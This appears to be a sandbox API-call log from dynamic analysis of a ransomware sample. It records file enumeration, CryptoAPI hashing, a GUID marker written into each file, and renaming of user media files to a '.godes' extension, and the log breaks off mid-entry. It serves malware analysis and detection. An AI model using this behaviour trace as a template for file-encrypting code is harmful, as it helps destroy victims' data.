1 [0114.848] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.848] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.848] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.848] GetLastError () returned 0x0 [0114.848] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.848] CryptReleaseContext (hProv=0x741378, dwFlags=0x0) returned 1 [0114.849] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x976d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.849] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.849] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.849] CloseHandle (hObject=0x624) returned 1 [0114.850] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\qp8C\\NjbUt_t.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\qp8c\\njbut_t.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\qp8C\\NjbUt_t.mp4.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\qp8c\\njbut_t.mp4.godes")) returned 1 [0114.851] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd980c40, ftCreationTime.dwHighDateTime=0x1d4c6d3, ftLastAccessTime.dwLowDateTime=0x26939c00, ftLastAccessTime.dwHighDateTime=0x1d4d4a4, ftLastWriteTime.dwLowDateTime=0x26939c00, ftLastWriteTime.dwHighDateTime=0x1d4d4a4, nFileSizeHigh=0x0, nFileSizeLow=0x252f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="r5kMtufRwXsgtBq.swf", cAlternateFileName="R5KMTU~1.SWF")) returned 1 [0114.851] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\qp8C\\r5kMtufRwXsgtBq.swf") returned=".swf" [0114.851] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\qp8C\\r5kMtufRwXsgtBq.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\qp8c\\r5kmtufrwxsgtbq.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.851] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=9519) returned 1 [0114.851] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.853] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x2509, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.853] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.855] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x252f, lpOverlapped=0x0) returned 1 [0114.855] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.855] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.855] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.855] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741378) returned 1 [0114.856] CryptCreateHash (in: hProv=0x741378, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.856] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.856] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.856] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.856] GetLastError () returned 0x0 [0114.856] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.856] CryptReleaseContext (hProv=0x741378, dwFlags=0x0) returned 1 [0114.856] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x252f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.856] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.856] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.856] CloseHandle (hObject=0x624) returned 1 [0114.857] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\qp8C\\r5kMtufRwXsgtBq.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\qp8c\\r5kmtufrwxsgtbq.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\qp8C\\r5kMtufRwXsgtBq.swf.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\qp8c\\r5kmtufrwxsgtbq.swf.godes")) returned 1 [0114.859] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd980c40, ftCreationTime.dwHighDateTime=0x1d4c6d3, ftLastAccessTime.dwLowDateTime=0x26939c00, ftLastAccessTime.dwHighDateTime=0x1d4d4a4, ftLastWriteTime.dwLowDateTime=0x26939c00, ftLastWriteTime.dwHighDateTime=0x1d4d4a4, nFileSizeHigh=0x0, nFileSizeLow=0x252f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="r5kMtufRwXsgtBq.swf", cAlternateFileName="R5KMTU~1.SWF")) returned 0 [0114.859] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.859] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.859] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.859] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7411e0 [0114.859] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.859] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0114.859] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0114.859] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d630 [0114.859] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0114.859] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.859] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.860] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326e0d0 [0114.860] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.860] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0114.860] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.860] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0114.860] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.860] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.860] PathFindFileNameW (pszPath="") returned="" [0114.860] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7411e0 [0114.860] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.860] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7411e0 | out: hHeap=0x660000) returned 1 [0114.860] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.860] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0114.860] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321138 [0114.860] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.860] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1c) returned 0x32ba3f0 [0114.860] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.860] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.860] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321138 | out: hHeap=0x660000) returned 1 [0114.861] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0114.861] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.861] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0114.861] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741048 | out: hHeap=0x660000) returned 1 [0114.861] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.861] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321138 [0114.861] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.861] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.861] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.861] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.861] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.861] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.861] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.861] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.861] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.861] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.861] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.861] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.861] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.861] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.861] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.861] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.861] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.861] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.861] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.861] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.861] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.861] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.861] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.861] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.861] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.862] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.862] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.862] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0114.862] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.862] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.862] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.862] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.862] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.862] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.862] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.862] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.862] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.862] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.862] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.862] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.862] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.862] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.862] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.862] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.862] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.862] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.862] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.862] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.862] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.862] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.862] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.862] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.862] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.862] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.862] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.862] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.862] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.862] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.863] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.863] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.863] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.863] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.863] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.863] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.863] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.863] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.863] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.863] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.863] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.863] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.863] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.863] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.863] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.863] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.863] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.863] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.863] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.863] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.863] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.863] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.863] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.863] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.863] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.863] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.863] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.863] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.863] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.863] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.863] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.863] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.863] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.863] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.864] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.864] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.864] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.864] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.864] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.864] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.864] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.864] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.864] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.864] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.864] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.864] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0114.864] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.864] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.864] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.864] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.864] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.864] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.864] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.864] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.864] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.864] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.864] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.864] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.864] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.864] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.864] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.864] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.864] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.864] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.864] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.864] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.864] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.865] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.865] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.865] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.865] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.865] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.865] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.865] HeapFree (in: hHeap=0x660000, dwFlags=0x0, 